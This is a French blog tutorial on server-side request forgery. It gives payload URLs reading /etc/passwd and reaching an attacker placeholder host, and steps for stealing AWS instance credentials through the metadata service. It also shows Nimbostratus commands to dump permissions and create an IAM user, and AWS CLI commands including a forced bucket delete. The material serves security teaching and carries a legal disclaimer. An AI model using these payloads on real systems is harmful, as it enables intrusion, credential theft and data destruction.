La Server-Side Request Forgery (SSRF)

angrypingu.fr/ssrf/

AngryPingu 27 juillet
2020

La falsification de requêtes côté serveur (SSRF) exploite la relation de

confiance entre un serveur web et d’autres systèmes de backend qui ne sont
normalement pas accessibles à un attaquant (par exemple en raison de pare-
feu ou de règles d’application). Elles sont particulièrement dangereuses dans
les infrastructures en cloud comme AWS, car la SSRF permet à un attaquant
d’interroger des services internes comme l’API de métadonnées d’Amazon
pour obtenir des informations d’identification et d’autres données sensibles.

Avertissement :
Utiliser les techniques présentées sur ce blog, sur des systèmes qui ne vous appartiennent
pas est ILLEGAL et peut vous exposer à de lourdes sanctions.

Si vous souhaitez vous exercer, vous devez le faire sur un système qui vous appartient, ou
avec un accord écrit du propriétaire.

Je ne pourrais en aucun cas être tenu pour responsable de vos actes.

Techniques

Technique de base
En général, vous rechercherez des paramètres mal aseptisés qui acceptent les URL, que ce
soit dans les requêtes GET ou POST. Parmi les endroits habituels pour le SSRF, citons :
1/4
 En-tête HTTP Referer
URL partiels dans les requêtes (assemblés côté serveur)
SSRF via XXE

Exemples

Dans les exemples ci-dessous, localhost est utilisé dans l’URL pour accéder à des
données et des services qui ne sont accessibles que par le réseau local.

Exemple de requête GET avec une redirection ouverte vulnérable :

http://[host]/page?url=http://localhost/api/getuser/id/1

Exemple de requête POST avec un paramètre d’URL non nettoyé similaire :

POST /page HTTP/1.0

Content-Type: application/x-www-form-urlencoded
Content-Length: 300

url=http://localhost:1234

Certaines attaques du SSRF donneront lieu à une réponse que vous pouvez voir sur le site
web vulnérable, mais d’autres peuvent être aveugles.

Vous pouvez également tester des protocoles autres que HTTP :

http://[host]/page.php?url=file:///etc/passwd
http://[host]/page.php?url=dict://[evilhost]:1234/
http://[host]/page.php?url=sftp://[evilhost]:1234/
http://[host]/page.php?url=ldap://localhost:1234/%0astats%0aquit

Attaquer AWS avec une SSRF

L’AWS d’Amazon dispose d’un service interne de métadonnées qui peut être interrogé à
tout moment. Les attaquants peuvent utiliser les vulnérabilités du SSRF pour récupérer les
informations des instances et, dans certains cas, apporter des modifications à
l’infrastructure. Le CLI d’Amazon remplit une fonction similaire.

Il existe deux normes de métadonnées pour l’API AWS – la plus récente exige que vous
génériez un jeton à court terme avant d’émettre des commandes. Cependant, l’ancienne
version sans jeton ne semble pas vouloir disparaître, vous pouvez donc simplement utiliser
curl http://169.254.169.254/whatever pour obtenir les mêmes données.

La commande suivante, tirée de la documentation sur les métadonnées d’Amazon,

vous permet de générer un jeton de 6 heures, de l’enregistrer dans une variable et
d’afficher les éléments de métadonnées de premier niveau :

2/4
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-
seconds: 21600"` \
&& curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/

Les éléments de métadonnées de haut niveau ressembleront à ceci :

ami-id
ami-launch-index
...
public-keys/
security-groups

De là, vous pouvez passer des appels à l’API pour visualiser en détail chacun des éléments
de métadonnées.

Par exemple, la commande suivante vous permet de visualiser les scripts de démarrage de
l’instance, qui peuvent révéler des informations d’identification ou des chemins d’accès à
des espaces S3 sensibles :

curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/user-data/

Pour visualiser les rôles de l’instance :

curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-

data/iam/security-credentials/

Une fois que vous avez un nom de rôle, vous pouvez demander des références pour ce rôle
:

curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-

data/iam/security-credentials/SomeRole

{
"Code" : "Success",
"LastUpdated" : "2019-12-03T18:08:16Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "V...",
"Token" : "SomeBase64==",
"Expiration" : "2019-12-04T00:17:43Z"
}

À ce stade, vous pouvez envisager d’utiliser des outils d’énumération automatique des
métadonnées du SEA, comme Nimbostratus, pour déterminer les autorisations
disponibles pour un rôle :

sudo python nimbostratus dump-permissions --access-key=ASIA... --secret-key=V...

Vous pouvez également tenter de créer un nouvel utilisateur, comme preuve de concept :
3/4
sudo python nimbostratus create-iam-user --access-key=ASIA... --secret-key=p...

Enumérer les bucket S3

Le CLI de l’AWS peut être utilisé pour fouiller les buckets S3 connectés. Quelques
commandes utiles :

aws s3 mb s3://bucket-name # create a bucket

aws s3 ls # list buckets
aws s3 ls s3://bucket-name # list things in a bucket
aws s3 rb s3://bucket-name --force # delete bucket + contents

Dans un prochain article nous verrons le Remote code execution (RCE).

4/4